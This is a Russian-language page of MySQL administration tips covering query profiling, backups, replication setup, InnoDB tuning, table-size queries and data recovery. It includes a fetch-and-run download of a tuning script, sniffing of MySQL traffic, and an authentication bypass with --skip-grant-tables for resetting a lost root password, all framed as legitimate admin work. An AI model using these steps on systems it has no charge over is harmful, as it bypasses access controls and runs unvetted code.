           SELECT query_id, db, tbl, SUM(cnt) AS total_cnt,
             COUNT(*) AS variations
           FROM index_usage
           GROUP BY query_id, db, tbl
           HAVING COUNT(*) > 1
        ) AS qv USING(query_id, db, tbl);
    
       | query_id   |   | variations  | cnt | pct |
       | 7675136724153707161 | mpb_wordpress.wp_posts.post_status |  2  |  18 | 97.5871 |
       | 7675136724153707161  mpb_wordpress.wp_posts.type_status_date | 2 |  728 | 2.4129 |
       ....
    
    В первой строке указано, что запрос с идентификатором 7675136724153707161 имеет
    два варианта использования индексов. Первый вариант использует индекс
    mpb_wordpress.wp_posts.post_status в 97% случаев, второй - индекс
    mpb_wordpress.wp_posts.type_status_date в 2% случаев.
    
    
    Посмотрим что из себя представляет запрос 7675136724153707161:
    
       mysql> select * from queries where query_id = 7675136724153707161\G
    
       query_id: 7675136724153707161
       fingerprint: select * from wp_comments where comment_post_id = ? and comment_type not regexp ? and comment_approved = ?
         sample: SELECT * FROM wp_comments WHERE comment_post_ID = 2257 AND
       comment_type NOT REGEXP '^(trackback|pingback)$' AND comment_approved = '1'
       1 row in set (0.00 sec)
    
    
    Теперь посмотрим для каких индексов имеется большое число альтернатив, какие
    индексы вызываются вместо других и при каких запросах:
    
       mysql>  SELECT CONCAT_WS('.', db, tbl, idx) AS idx,
             GROUP_CONCAT(alt_idx) AS alternatives,
             GROUP_CONCAT(DISTINCT query_id) AS queries, SUM(cnt) AS cnt
          FROM index_alternatives
          GROUP BY db, tbl, idx
          HAVING COUNT(*) > 1 limit 2;
    
       | idx                 | alternatives | queries | cnt  |
    
       | mpb_forum.f.PRIMARY | fud26_forum_i_c,fud26_forum_i_c,fud26_forum_i_lpi | 6095451542512376951,11680437198542055892 | 20 |
    
       | mpb_forum.fud26_msg.fud26_msg_i_ta | PRIMARY,fud26_msg_i_a | 5971938384822841613 |  2 |
    
    Как видно первичные ключи преобладают над некоторыми индексами.
    
    
    Некоторые другие утилиты из пакета Maatkit:
    
    mk-archiver - архивирование строк из таблицы MySQL в другую таблицу или в файл;
    
    mk-deadlock-logger - выявление и сохранение информации о взаимных блокировках;
    
    mk-duplicate-key-checker - поиск дублирующихся индексов и внешних ключей;
    
    mk-find - аналог утилиты find для выполнения поиска по таблицам и выполнения
    действий над результатами;
    
    mk-heartbeat - мониторинг задержки при выполнении репликации;
    
    mk-kill - удаляет запросы, соответствующие определенным критериям;
    
    mk-loadavg - следит за нагрузкой на базу и выполняет указанные действия при обнаружении перегрузки;
    
    mk-log-player - позволяет повторно выполнить запросы из лога;
    
    mk-parallel-dump/mk-parallel-restore - создание и восстановление дампа таблиц в
    параллельном режиме;
    
    mk-purge-logs - чистит бинарный лог в соответствии с заданными правилами;
    
    mk-query-advisor - анализирует запросы и выявляет возможные проблемы;
    
    mk-query-digest - парсит лог и анализирует, фильтрует и преобразует запросы в
    логе, формируя в итоге полезный суммарный отчет;
    
    mk-query-profiler - выполняет SQL-запросы и выводит статистику или измеряет
    активность других процессов;
    
    mk-table-checksum - генерация контрольных сумм с целью проверки целостности реплицированных данных;
    
    mk-table-sync - эффективная синхронизация содержимого нескольких таблиц;
    
    mk-upgrade - запускает запрос одновременно на нескольких серверах и проверяет идентичность ответов;
    
                
    mk-variable-advisor - анализирует переменные MySQL и выявляет возможные проблемы;
    
    mk-visual-explain - выводит результат выполнения EXPLAIN-запроса в древовидном виде.
    
     
    ----* Профилирование запросов в MySQL (доп. ссылка 1)   Автор: Василий Лукьянчиков  [комментарии]
     
    Начиная с версии 5.0.37 в MySQL Community Server появился удобный инструмент
    для профилирования запросов - директивы "SHOW PROFILES" и "SHOW PROFILE".
    
    Директива "SHOW PROFILES" показывает список запросов, выполненных в рамках
    текущей сессии и время выполнения каждого запроса. Число отображаемых запросов
    определяется переменной сессии profiling_history_size, которая имеет значение
    по умолчанию 15, максимальное 100. В список попадают все запросы кроме "SHOW
    PROFILES" и "SHOW PROFILE", включая синтаксически неверные. Профилирование
    действует в течении сессии. По завершении сессии информация профайлинга теряется.
    
    Включаем профилирование:
    
       mysql> set profiling=1;
       Query OK, 0 rows affected (0.00 sec)
    
    Через некоторое время смотрим результат:
    
       mysql> show profiles;
       | Query_ID | Duration   | Query
       | 2        | 0.00010300 | create table a1 (id int not null auto_increment)
       ...
    
    Директива "SHOW PROFILE" показывает подробную информацию об этапах выполнения
    отдельного запроса. По умолчанию, выводится информация о последнем запросе. Для
    указания на конкретный запрос используется опция FOR QUERY n, где значение n
    соответствует значению Query_ID из списка, формируемого директивой "SHOW PROFILES".
    
       mysql> show profile for QUERY 2;
       | Status               | Duration |
       | (initialization)     | 0.000039 |
       | checking permissions | 0.00004  |
       | creating table       | 0.004034 |
       | After create         | 0.000294 |
       | query end            | 0.000009 |
       | freeing items        | 0.000012 |
       | logging slow query   | 0.000004 |
    
    где Status - состояние потока, а Duration - время выполнения в секундах.
    
    Информацию, аналогичную результату работы "SHOW PROFILE", можно получить из
    таблицы PROFILING базы INFORMATION_SCHEMA. Например, следующие команды являются эквивалентными:
    
       SHOW PROFILE FOR QUERY 2;
    
       SELECT STATE, FORMAT(DURATION, 6) AS DURATION FROM INFORMATION_SCHEMA.PROFILING WHERE QUERY_ID = 2;
    
    
    Ссылки
    
    Подробное описание синтаксиса с указанием всех возможных опций:
      http://dev.mysql.com/doc/refman/5.0/en/show-profiles.html
    Пример использования профайлинга для оптимизации сложных запросов: 
      http://dev.mysql.com/tech-resources/articles/using-new-query-profiler.html
    
     
    ----* Резервное копирование MySQL с использованием LVM снапшотов в Debian Linux (доп. ссылка 1)   [комментарии]
     
    Утилита mylvmbackup (http://lenz.homelinux.org/mylvmbackup/) позволяет
    автоматизировать создание резервных копий БД MySQL с минимальным временем
    простоя базы. Процесс создания бэкапа состоит из следующих фаз: установка
    блокировки на таблицы, инициирование сброса кэшей на диск, создание LVM
    снапшота директории с MySQL таблицами, снятие блокировки. Так как время
    создания снапшота очень мало, простой базы сводится к минимуму при полном
    сохранении целостности.
    
    Пример использования утилиты для системы на которой уже работает MySQL,
    директория с БД (/var/lib/mysql) размещена на LVM разделе и в системе доступен
    раздел /dev/sdb на котором достаточно для создания временных LVM снапшотов.
    
       # df -h
       ...
       /dev/mapper/server1-mysql  8.9G  170M  8.3G   2% /var/lib/mysql
    
    Имя LVM группы server1, имя раздела с данными MySQL - mysql.
    
       # pvdisplay
       --- Physical volume ---
       PV Name               /dev/sda5
       VG Name               server1
       PV Size               29.52 GB / not usable 3.66 MB
       ...
     
       # vgdisplay
      --- Volume group ---
      VG Name               server1
      System ID
      Format                lvm2
      ...
    
       # lvdisplay
      --- Logical volume ---
      LV Name                /dev/server1/mysql
      VG Name                server1
      ...
    
    Диск /dev/sdb имеет один раздел /dev/sdb1, занимающий все пространство диска.
    Подключаем его к имеющемуся LVM группе server1 с целью увеличения свободного
    места, которое потребуется для работы со снапшотами. Дополнительные LVM разделы
    создавать не нужно.
    
       # pvcreate /dev/sdb1
       # vgextend server1 /dev/sdb1
    
    Устанавливаем пакет mylvmbackup:
    
       # aptitude install mylvmbackup
    
    Изучаем руководство по mylvmbackup и при необходимости меняем файл конфигурации
    /etc/mylvmbackup.conf под свои нужды:
    
       $ man mylvmbackup
    
    
    По умолчанию бэкапы будут сохраняться в директорию /var/cache/mylvmbackup/backup.
    
    Простейшая команда для создание резервной копии (параметры можно указать в
    файле конфигурации) MyISAM таблиц:
    
       mylvmbackup --user=root --password=пароль --mycnf=/etc/mysql/my.cnf \
          --vgname=server1 --lvname=mysql --backuptype=tar
    
    Пример для InnoDB таблиц:
    
       mylvmbackup --user=root --password=пароль --innodb_recover --skip_flush_tables \
          --mycnf=/etc/mysql/my.cnf --vgname=server1 --lvname=mysql --backuptype=tar
    
    В опции --vgname указываем имя LVM группы, а в опции --lvname имя LVM раздела с данными.
    
    
    После выполнения команды проверяем корректность создания резервной копии:
    
       ls -l /var/cache/mylvmbackup/backup
    
       -rw-r--r-- 1 root root 246847 2010-01-27 19:17 backup-20100127_191658_mysql.tar.gz
    
    В созданном  tar.gz файле находятся две директории: 
    
    backup с архивом таблиц, который можно просто распаковать в рабочую директорию
    /var/lib/mysql при проведении восстановления данных.
    backup-pos с копией файла конфигурации my.cnf.
    
     
    ----* Как уменьшить время завершения работы СУБД MySQL при использовании InnoDB  (доп. ссылка 1)   [комментарии]
     
    Иногда для завершения работы MySQL сервера с таблицами в формате InnoDB
    требуется слишком много времени,
    из-за необходимости сброса всех буферов. Если процесс завершить принудительно,
    то данные не потеряются,
    но при следующем запуске будет инициирован значительно более долгий процесс
    восстановления из лога транзакций.
    
    Один из способов минимизировать время завершения сервера, за какое-то время
    перед выключением MySQL
    включить функцию предварительного сброса буферов:
    
          mysql> set global innodb_max_dirty_pages_pct = 0;
    
    Далее периодически смотрим объем не сброшенных буферов: 
    
          $ mysqladmin ext -i10 | grep dirty
    
          | Innodb_buffer_pool_pages_dirty    | 1823484        |
          ...  
          | Innodb_buffer_pool_pages_dirty    | 1821293        |
          ...
          | Innodb_buffer_pool_pages_dirty    | 1818938        |
    
    Дожидаемся когда значение Innodb_buffer_pool_pages_dirty приблизится к нулю и
    выполняем процесс завершения работы,
    сведя время простоя сервера к минимуму.
    
     
    ----* Выбор типа хранилища MySQL: MyISAM или Innodb ? (доп. ссылка 1) (доп. ссылка 2)   Автор: Matt Yonkovit  [комментарии]
     
    Если вы создаете БД по обстоятельствам и не уверены как база будет
    использоваться, выбирайте Innodb.
    Innodb следует использовать:
    Когда взаимодействие с базой имеет характер OLTP (http://ru.wikipedia.org/wiki/OLTP)
    Когда требуются транзакции.
    Когда нужна высокая надежность хранения и быстрое восстановление после сбоя.
    Innodb хорошо справляется со смешанной нагрузкой (select/update/delete/insert).
    
    Минусы Innodb: 
    могут возникать deadlock, не свойственные MyISAM;
    Медленнее выполняются insert операции и работа с блобами; 
    Не поддерживается полнотекстовый поиск;
    Проблемы с производительностью COUNT(*);
    Для  Innodb нет поддержки mysqlhotcopy;
    
    
    
    
    С MyISAM есть одна нехорошая проблема, таблица может на ровном месте отказаться
    работать до выполнения REPAIR TABLE.
    Случается такое крайне редко, но и этого хватает. Пример: http://blog.lexa.ru/2008/10/05/vash_mysql___to_esche_g.html
    Поэтому с для MyISAM рекомендуется организовать периодический запуск mysqlcheck через cron.
    
    Из-за особенности организации блокировки (в MyISAM блокировка на уровне
    таблицы, в Innodb - на уровне строк),
    MyISAM имеет смысл использовать, когда преобладают операции insert или select,
    но крайне мало delete или update.
    Когда можно обойтись без транзакций.
    Когда выполняются запросы, характерные для OLAP 
    (http://ru.wikipedia.org/wiki/OLAP)
    Когда таблица используется для хранения  лога (поддержка конкурирующих insert);
    Когда много запросов вида Select count(*).
    Когда нужно задействовать средства полнотекстового поиска.
    
    
    Такие альтернативные хранилища, как PBXT, Innodb plugin, XtraDB, Maria, Falcon,
    еще находятся на стадии разработки и
    имеют экспериментальный характер.
    
     
    ----* Временное ведение лога всех запросов к MySQL (доп. ссылка 1)   [комментарии]
     
    Использование опций конфигурации log-slow-queries и general_log, позволяющих вести полный лог 
    медленных или всех запросов, требует перезапуска mysql для включения или выключения ведения логов, 
    что неудобно в ситуации, когда нужно проанализировать запросы только в текущий момент.
    Для анализа запросов (не через локальный сокет) на лету можно воспользоваться сетевым сниффером.
    
    Перехватываем и записываем срез трафика MySQL в файл:
    
       tcpdump -i eth0 port 3306 -s 1500 -w tcpdump.out
    
    Выделяем из дампа SQL запросы, используя утилиту tshark из комплекта сниффера
    Wireshark (http://www.wireshark.org/):
    
       tshark -r tcpdump.out -d tcp.port==3306,mysql -T fields -e mysql.query > query_log.out
    
    Удаляем из полученного лога пустые и неинформативные строки:
    
       cat query_log.out | grep -vE "^(commit.*|autocommit.*|rollback.*|)$" | awk '{print $0 ";"}' > query_log_no_blank.out
    
    Полученный лог удобно анализировать утилитой mysqlsla (http://hackmysql.com/mysqlsla)
    
     
    ----* Автоматический тюнинг MySQL сервера при помощи ПО MySQLTuner  (доп. ссылка 1)   [комментарии]
     
    MySQLTuner (http://rackerhacker.com/mysqltuner/) представляет собой Perl скрипт, 
    анализирующий статистику работы MySQL сервера и на ее основе дающий
    рекомендации по оптимизации настойки СУБД.
    
    Загружаем и выполняем скрипт:
      wget http://mysqltuner.com/mysqltuner.pl
      chmod +x mysqltuner.pl
      ./mysqltuner.pl
    
    Вводим логин и пароль для подключения к MySQL, после чего скрипт выводит наиболее интересные 
    параметры статистики работы СУБД и рекомендации по тюнингу настроек, примерно в таком виде:
    
    
    General recommendations:
        Add skip-innodb to MySQL configuration to disable InnoDB
        Add skip-isam to MySQL configuration to disable ISAM
        Run OPTIMIZE TABLE to defragment tables for better performance
        Enable the slow query log to troubleshoot bad queries
        When making adjustments, make tmp_table_size/max_heap_table_size equal
        Reduce your SELECT DISTINCT queries without LIMIT clauses
        Increase table_cache gradually to avoid file descriptor limits
        Your applications are not closing MySQL connections properly
    
    Variables to adjust:
        query_cache_size (> 16M)
        tmp_table_size (> 32M)
        max_heap_table_size (> 16M)
        table_cache (> 64)
    
     
    ----* Синхронизация master и slave MySQL, несмотря на конфликтные запросы   Автор: Dmitry Molchanov  [комментарии]
     
    Иногда возникает необходимость догнать мастер несмотря на конфликтные запросы из relay-лога.
    Вместо того чтобы, для разрешения конфликтов, вручную выполнять 2 команды 
    можно в крайних ситуациях использовать скрипт:
    
    #!/bin/sh
    
    n=1
    until [ $n = "0" ];do 
       n=`mysql -Be 'show slave status \G' | grep Seconds_Behind_Master| cut -f2 -d: | tr -d " "`
       echo $n; 
       if [ $n = "NULL" ]; then 
          mysql -Be ' SET GLOBAL SQL_SLAVE_SKIP_COUNTER = 1; start slave;'
       fi; 
       sleep 1
    done
    
    
    Для быстрой и полной синхронизации небольшой таблицы:
    (http://www.mysqlperformanceblog.com/2008/06/29/resyncing-table-on-mysql-slave/)
    
       LOCK TABLE tbl WRITE;
       SELECT * FROM table INTO OUTFILE '/tmp/tbl.txt';
       DELETE FROM tbl;
       LOAD DATA INFILE 'tmp/tbl.txt' INTO TABLE tbl;
       UNLOCK TABLES; 
    
    Другой вариант:
    
       RENAME TABLE rep TO rep_maint;
       SELECT * FROM rep_maint INTO OUTFILE '/tmp/rep.txt';
       CREATE TABLE rep_new LIKE rep_maint;
       LOAD DATA INFILE '/tmp/rep.txt' INTO TABLE rep_new;
       RENAME TABLE rep_maint TO rep_old, rep_new TO rep;
    
     
    ----* Восстановление данных с поврежденной или случайно удаленной MySQL таблицы (доп. ссылка 1) (доп. ссылка 2)   [обсудить]
     
    Для восстановления случайно удаленной таблицы можно использовать для резервного копирования пакет 
    Zmanda Recovery Manager (http://mysqlbackup.zmanda.com/), имеющий поддержку восстановления 
    недостающей в бэкапе информации из бинарного лога изменений (MySQL binary log).
    Ведение лога транзакций включается в секции "[mysqld]" файла конфигурации:
    
       log-bin = /var/log/mysql/bin.log
    
    Определяем время удаления (DROP TABLE):
       mysql-zrm --action parse-binlogs --source-directory=/var/lib/mysql /sugarcrm/20060915101613
          /var/lib/mysql/my-bin.000015 | 11013        | 06-09-12 06:20:03 | Xid = 4413 | COMMIT;
          /var/lib/mysql/my-bin.000015 | 11159        | 06-09-12 06:20:03 | Query      | DROP TABLE IF EXISTS `accounts`;
    
    Имея инкрементальный бэкап binary log от 15 сентября, восстанавливаем из него
    данные, пропуская удаление таблицы:
    
       # mysql-zrm --action restore  --backup-set sugarcrm \
          --source-directory=/var/lib/mysql/ sugarcrm/20060915101613/ \
          --stop-position 11014
       # mysql-zrm --action restore   --backup-set sugarcrm \
          --source-directory=/var/lib/mysql/ sugarcrm/20060915101613/ \
          --start-position 11160
    
    Для получения данных из binary log также можно использовать стандартную программу mysqlbinlog.
    Предположим, что у нас есть бэкап от 5 мая.
    Переводим сервер в изолированный режим работы:
    
       mysqld --socket=/tmp/mysql_restore.sock --skip-networking
    
    Восстанавливаем данные из бэкапа:
    
       cat /backup/20080505.sql | mysql --socket=/tmp/mysql_restore.sock
    
    Делаем дамп данных из бинарного лога:
    
       mysqlbinlog /var/log/mysql/bin.123456 > /tmp/mysql_restore.sql
    
    Можно использовать выборку по дате или номеру позиции:
    
       mysqlbinlog --stop-date="2008-05-06 9:59:59" --start-date="2008-05-05 10:01:00" \
          /var/log/mysql/bin.123456  > /tmp/mysql_restore.sql
     mysqlbinlog  --stop-position="5647324" --start-position="5634521" \
          /var/log/mysql/bin.123456  > /tmp/mysql_restore.sql
    
    Вручную удаляем лишнее и загружаем недостающие данные:
    
       cat /tmp/mysql_restore.sql| mysql --socket=/tmp/mysql_restore.sock
    
     
    ----* Как проверить корректность изменений в файле конфигурации MySQL (доп. ссылка 1)   Автор: mysqlperformanceblog  [комментарии]
     
    Иногда возникают ситуации требующие предварительной проверки корректности 
    файла конфигурации MySQL, что-то похожее на "configtest" в apache.
    
    Анализ файла конфигурации на наличие синтаксических ошибок производится при выполнении
       mysqld --help
    
     
    ----* Вычисление размера таблиц MySQL (доп. ссылка 1) (доп. ссылка 2)   Автор: mysqlperformanceblog.com  [комментарии]
     
    Запрос для расчета размера таблиц начиная с MySQL 5.0:
    
    use information_schema;
    SELECT concat(table_schema,'.',table_name),concat(round(table_rows/1000000,2),'M') rows,
    concat(round(data_length/(1024*1024*1024),2),'G') DATA,
    concat(round(index_length/(1024*1024*1024),2),'G') idx,
    concat(round((data_length+index_length)/(1024*1024*1024),2),'G') total_size,
    round(index_length/data_length,2) idxfrac 
    FROM TABLES ORDER BY data_length+index_length DESC LIMIT 10;
    
    
    | concat(table_schema,'.',table_name) | rows   | DATA   | idx    | total_size | idxfrac |
    | art87.link_out87                    | 37.25M | 14.83G | 14.17G | 29.00G     |    0.96 |
    #
    | art87.article87                     | 12.67M | 15.83G | 4.79G  | 20.62G     |    0.30 |
    
    
    Определение числа таблиц, суммарного размера строк, данных и индексов:
    
      SELECT count(*) TABLES,
           concat(round(sum(table_rows)/1000000,2),'M') rows,
           concat(round(sum(data_length)/(1024*1024*1024),2),'G') DATA,
           concat(round(sum(index_length)/(1024*1024*1024),2),'G') idx,
           concat(round(sum(data_length+index_length)/(1024*1024*1024),2),'G') total_size,
           round(sum(index_length)/sum(data_length),2) idxfrac
           FROM information_schema.TABLES;
    
       | TABLES| rows        | DATA    | idx        | total_size | idxfrac |
       |   1538 | 1623.91M | 314.00G | 36.86G | 350.85G    |    0.12  |
    
    
    После "FROM information_schema.TABLES" можно добавить дополнительный фильтр, 
    например вывести информацию только для таблиц performance_log:
    
       ... WHERE  table_name LIKE "%performance_log%";
    
    Определение самых больших таблиц в БД:
    
       SELECT
            count(*) TABLES,
            table_schema,concat(round(sum(table_rows)/1000000,2),'M') rows,
            concat(round(sum(data_length)/(1024*1024*1024),2),'G') DATA,
            concat(round(sum(index_length)/(1024*1024*1024),2),'G') idx,
            concat(round(sum(data_length+index_length)/(1024*1024*1024),2),'G') total_size,
            round(sum(index_length)/sum(data_length),2) idxfrac
            FROM information_schema.TABLES
            GROUP BY table_schema
            ORDER BY sum(data_length+index_length) DESC LIMIT 10;
    
       |TABLES| table_schema | rows  | DATA  | idx   | total_size | idxfrac |
       |     48  | cacti               | 0.01M | 0.00G | 0.00G | 0.00G      |    0.72 |
       |     17  | mysql              | 0.00M | 0.00G | 0.00G | 0.00G      |    0.18 |
    
    
    Объем данных в разрезе типа хранилища:
    
       SELECT engine,
            count(*) TABLES,
            concat(round(sum(table_rows)/1000000,2),'M') rows,
            concat(round(sum(data_length)/(1024*1024*1024),2),'G') DATA,
            concat(round(sum(index_length)/(1024*1024*1024),2),'G') idx,
            concat(round(sum(data_length+index_length)/(1024*1024*1024),2),'G') total_size,
           round(sum(index_length)/sum(data_length),2) idxfrac
           FROM information_schema.TABLES
           GROUP BY engine
           ORDER BY sum(data_length+index_length) DESC LIMIT 10;
    
       | engine      | TABLES | rows     | DATA     | idx       | total_size | idxfrac |
       | MyISAM     |   1243 | 941.06M | 244.09G | 4.37G   | 248.47G  |    0.02 |
       | InnoDB      |    280  | 682.82M | 63.91G   | 32.49G | 96.40G    |    0.51 |
       | MRG_MyISAM|  1  | 13.66M   | 6.01G     | 0.00G   | 6.01G      |    0.00 |
       | MEMORY   |     14  | 0.00M    | 0.00G     | 0.00G   | 0.00G      |    NULL |
    
     
    ----* Оптимизация MySQL для работы с большой Innodb базой. (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    innodb_buffer_pool_size  - чем больше, тем лучне, например 70-80% от размера ОЗУ, 
       но нет смысла устанавливать значение превышающее размер базы более чем на 10%. 
       По идее нужно экспериментально вычислить сколько требуется памяти для системы, 
       и отдать остальное под буферизацию с небольшим запасом, чтобы не допустить своппинг.
    
    innodb_log_file_size - зависит от требований к скорости восстановления после сбоя,  
       256Мб - хороший баланс между скоростью восстановления и производительностью системы;
    
    innodb_log_buffer_size=4M,  4Мб подходит для большинства ситуаций, 
       за исключением случая работы с большими блоками данных, хранимых в Innodb таблицах;
    
    innodb_flush_logs_at_trx_commit=2 - если не важен ACID и после краха системы 
       допустимо потерять транзакции за последние 1-2 секунды;
    
    innodb_thread_concurrency=8, значение по умолчанию вполне адекватно, 
       можно попробовать уменьшить или увеличить и посмотреть на изменение производительности.
    
    innodb_flush_method=O_DIRECT - исключает двойную буферизацию и уменьшает воздействие 
       на файл подкачки. Но следует соблюдать осторожность, если ваш RAID без аварийной батарейки.
    
    innodb_file_per_table - можно использовать, если число таблиц невелико.
    
    При разработке приложения можно обратить внимание на использование режиме
    READ-COMMITED (transaction-isolation=READ-COMITTED).
    
     
    ----* Бэкап больших MyISAM таблиц без длительной блокировки в MySQL (доп. ссылка 1)   Автор: jabrusli  [комментарии]
     
    mysqldump лочит таблицы на запись и во время дампа база фактически простаивает.
    Решения:
    
    1. Репликация и бэкап со слейва;
    
    2. mysqlhotcopy,  делает "read lock" на и копируются файлы баз, т.е.:
    
        FLUSH TABLES WITH READ LOCK;
        // копировать файлы MyISAM таблиц
        UNLOCK TABLES;
    
    FLUSH TABLES WITH READ LOCK может занять много времени т.к. он будет ждать
    окончания выполнений всех запущенных запросов.
    
    3. Минимизация блокировки через использование снапшотов ФС:
       FLUSH TABLES WITH READ LOCK;
       Делаем снэпшот ФС, где лежат базы мускула
       UNLOCK TABLES;
       Копируем директории с базой или отдельные таблицы
       Отцепляем снэпшот
    
    Скрипт для Linux (использует LVM снапшот): http://lenz.homelinux.org/mylvmbackup/
    Cкрипт для FreeBSD:
       (echo "FLUSH TABLES WITH READ LOCK;"; echo "\! ${MOUNT} -u -o snapshot /${SNAPPART}/.snap/backup /${SNAPPART}"; echo "UNLOCK TABLES;" ) |
        ${MYSQL} --user=root --password=`${CAT} ${MYSQLROOTPW}`
    
     
    ----* Включение лога медленных запросов в MySQL   [обсудить]
     
    в [mysqld] секции my.cnf:
    
    # Минимальное время запроса, которое не будет помещено в лог.
    long_query_time=10 
    # Файл в котором будут отображаться слишком долгие запросы.
    # можно использовать опцию -mysqld -log-slow-queries=file
    log-slow-queries=/var/log/mysqld/slowquery.log
    
    Для ведения полного лога всех запросов, нужно использовать опцию mysqld --log=allquery.log
    
     
    ----* Решение проблем с кодировкой при переносе дампа из mysql 4.1 в 5.0 (доп. ссылка 1)   Автор: Alex Kuklin  [обсудить]
     
    В debian/testing (и наверное не только) mysqld собран с default charset latin1, 
    что приводит к потере данных при загрузке дампов в utf8 независимо от настроек конкретной базы.
    
    Лекарство:
    в разделе [mysqld] в /etc/mysql/my.cnf
    
       character_set_server = utf8
       collation_server = utf8_general_ci
    
    
    Вариант 2:
    Если база данных в utf8 и в дампе с ней нет SET NAMES utf8; делаю так
    
      cat mysql_dump.sql | mysql -u user -p dbname --default-character-set=utf8  
    
     
    ----* Пример настройки master-master репликации в MySQL (доп. ссылка 1)   [комментарии]
     
    Шаг 1. Устанавливаем MySQL на два сервера:
       Master 1/Slave 2 ip: 192.168.16.4
       Master 2/Slave 1 ip : 192.168.16.5 
    
    Шаг 2. Содержимое my.cnf сервера Master 1,  являющегося ведущим по умолчанию:
    
       [mysqld]
       datadir=/var/lib/mysql
       socket=/var/lib/mysql/mysql.sock
       old_passwords=1
    
       log-bin
       binlog-do-db=<database name>  # input the database which should be  replicated
       binlog-ignore-db=mysql            # input the database that should be ignored for replication
       binlog-ignore-db=test
    
       server-id=1
    
       [mysql.server]
       user=mysql
       basedir=/var/lib
    
    
       [mysqld_safe]
       err-log=/var/log/mysqld.log
       pid-file=/var/run/mysqld/mysqld.pid
    
    
    Шаг 3. На сервере Master 1, создаем аккакнт для slave сервера (затем перезапускаем mysql):
    
       mysql> grant replication slave on *.* to 'replication'@192.168.10.5 \
    identified by 'slave';
    
    
    Шаг 4. Содержимое my.cnf сервера Master 2,  являющегося ведомым по умолчанию (slave):
    
       [mysqld]
       datadir=/var/lib/mysql
       socket=/var/lib/mysql/mysql.sock
       old_passwords=1
    
       server-id=2
    
       master-host = 192.168.16.4
       master-user = replication
       master-password = slave
       master-port = 3306
    
       [mysql.server]
       user=mysql
       basedir=/var/lib
    
       [mysqld_safe]
       err-log=/var/log/mysqld.log
       pid-file=/var/run/mysqld/mysqld.pid
    
    
    Шаг 5. Активируем ведомый сервер:
       mysql> start slave;
       mysql> show slave status\G;
    
    В отображенных параметрах поля Slave_IO_Running и  Slave_SQL_Running должны содержать "YES".
    
    
    Шаг 6. На сервере Master 1 проверяем статус бинарного лога:
    
    mysql> show master status;
    +------------------------+----------+--------------+------------------+
    | File                   | Position | Binlog_Do_DB | Binlog_Ignore_DB |
    +------------------------+----------+--------------+------------------+
    |MysqlMYSQL01-bin.000008 |      410 | adam         |                  |
    +------------------------+----------+--------------+------------------+
    1 row in set (0.00 sec)
    
    
    Сценарий master-slave реализован, переходим к настройке master-master.
    
    Шаг 7. На сервере Master2/Slave 1 редактируем my.cnf:
    
        [mysqld]
       datadir=/var/lib/mysql
       socket=/var/lib/mysql/mysql.sock
       # Default to using old password format for compatibility with mysql 3.x
       # clients (those using the mysqlclient10 compatibility package).
       old_passwords=1
       server-id=2
    
       master-host = 192.168.16.4
       master-user = replication
       master-password = slave
       master-port = 3306
    
       log-bin                     #information for becoming master added
       binlog-do-db=adam
    
       [mysql.server]
       user=mysql
       basedir=/var/lib
    
       [mysqld_safe]
       err-log=/var/log/mysqld.log
       pid-file=/var/run/mysqld/mysqld.pid
    
     
    Шаг 8. Создаем slave аккаунт на Master 2 для Master 1:
    
       mysql> grant replication slave on *.* to 'replication'@192.168.16.4 identified by 'slave2';
    
     
    Шаг 9.  Редактируем my.cnf на сервере Master 1, определив, что он является slave для Master 2:
    
       [mysqld]
       datadir=/var/lib/mysql
       socket=/var/lib/mysql/mysql.sock
    
       # Default to using old password format for compatibility with mysql 3.x
       # clients (those using the mysqlclient10 compatibility package).
       old_passwords=1
    
    
       log-bin
       binlog-do-db=adam
       binlog-ignore-db=mysql
       binlog-ignore-db=test
    
       server-id=1
       #information for becoming slave.
       master-host = 192.168.16.5
       master-user = replication
       master-password = slave2
       master-port = 3306
    
       [mysql.server]user=mysqlbasedir=/var/lib 
    
     
    Шаг 10. Перезапускаем оба MySQL сервера. Для Master 1 выполняем
    
       mysql> start slave;
    
    Для Master 2: 
    
       mysql > show master status;
    
    Для Master 1:
    
    mysql> show slave status\G;
    
    В отображенных параметрах поля Slave_IO_Running и  Slave_SQL_Running должны содержать "YES".
    
     
    ----* Техника изменения забытого административного MySQL пароля (доп. ссылка 1)   Автор: Steve  [комментарии]
     
    Останавливаем MySQL:
       /etc/init.d/mysql stop
    
    Запускаем в режиме без проверки прав доступа:
       /usr/bin/mysqld_safe --skip-grant-tables &
    
    Соединяемся как root без пароля:
       mysql --user=root mysql
    
    Обновляем пароль:
       mysql> update user set Password=PASSWORD('новый пароль') WHERE User='root';
       mysql> flush privileges;
    
    Завершаем работу mysqld_safe:
       fg
       "Ctrl+c"
    
    Запускаем MySQL в обычном режиме.
       /etc/init.d/mysql start
    
     
    ----* Автоматизация послеустановочной настройки MySQL   Автор: Alexey Tsvetnov  [комментарии]
     
    #!/bin/sh
    #
    # mysql-after-setup
    # Copyright (c) 2006 Alexey Tsvetnov, vorakl@fbsd.kiev.ua
    # Version: 1.4
    #
    # Run script after install MySQL to do:
    # 1. Drop database 'test'
    # 2. Set MySQL root password
    # 3. Delete all users and access except root@localhost
    #
    
    # tty echo off
    stty -echo
    
    # enter correct password
    while true
    do
        echo -n "Enter password: " && read pass1 && echo
        echo -n "Re-enter password: " && read pass2 && echo
        [ "${pass1}" = "${pass2}" ] && break
        echo " *** Error!"
    done
    
    # tty echo on
    stty echo
    
    echo "drop database test; delete from db where db like '%test%';\
          update user set password=PASSWORD('$pass1') where user='root' and host='localhost';\
          delete from user where password='';\
          flush privileges;" | mysql -h 127.0.0.1 -u root mysql && echo "Done successfuly."
    
    exit 0
    
     
    ----* MySQL - квотирование баз под FreeBSD   Автор: Pahanivo  [комментарии]
     Хитрости квотирования MySQL.

    Каждую базу MySQL хранит в отдельном каталоге внутри datadir. MySQL работает под своим пользователем и соответственно создает файлы баз под им же. Соответственно квотирование в данном случае не возможно. Необходимо заставить его создавать файлы баз, влaдельцем которых будет конкретный квотируемый пользователь. Сделать это можно выставив бит SUID (4000) на каталог базы.

    Для начала:

    
         в ядре:
            options SUIDDIR
    
         в /etc/fstab:
            добавляем в список опций suiddir
    

    В MySQL создаем базу. Находим каталог базы в datadir. По умолчанию он будет mysql:mysql.

    
       Меняем владельца:
         chown sql-user databasedir
         теперь наш каталог sql-user:mysql
      
       Меняем права:  
           chmod 4070 databasedir
    

    Такая настройка заставит систему создавать файлы от имени владельца каталога (sql-user) причем сам пользователь не будет иметь к нему доступа. К нему будет иметь полный доступ MySQL (от группы mysql).

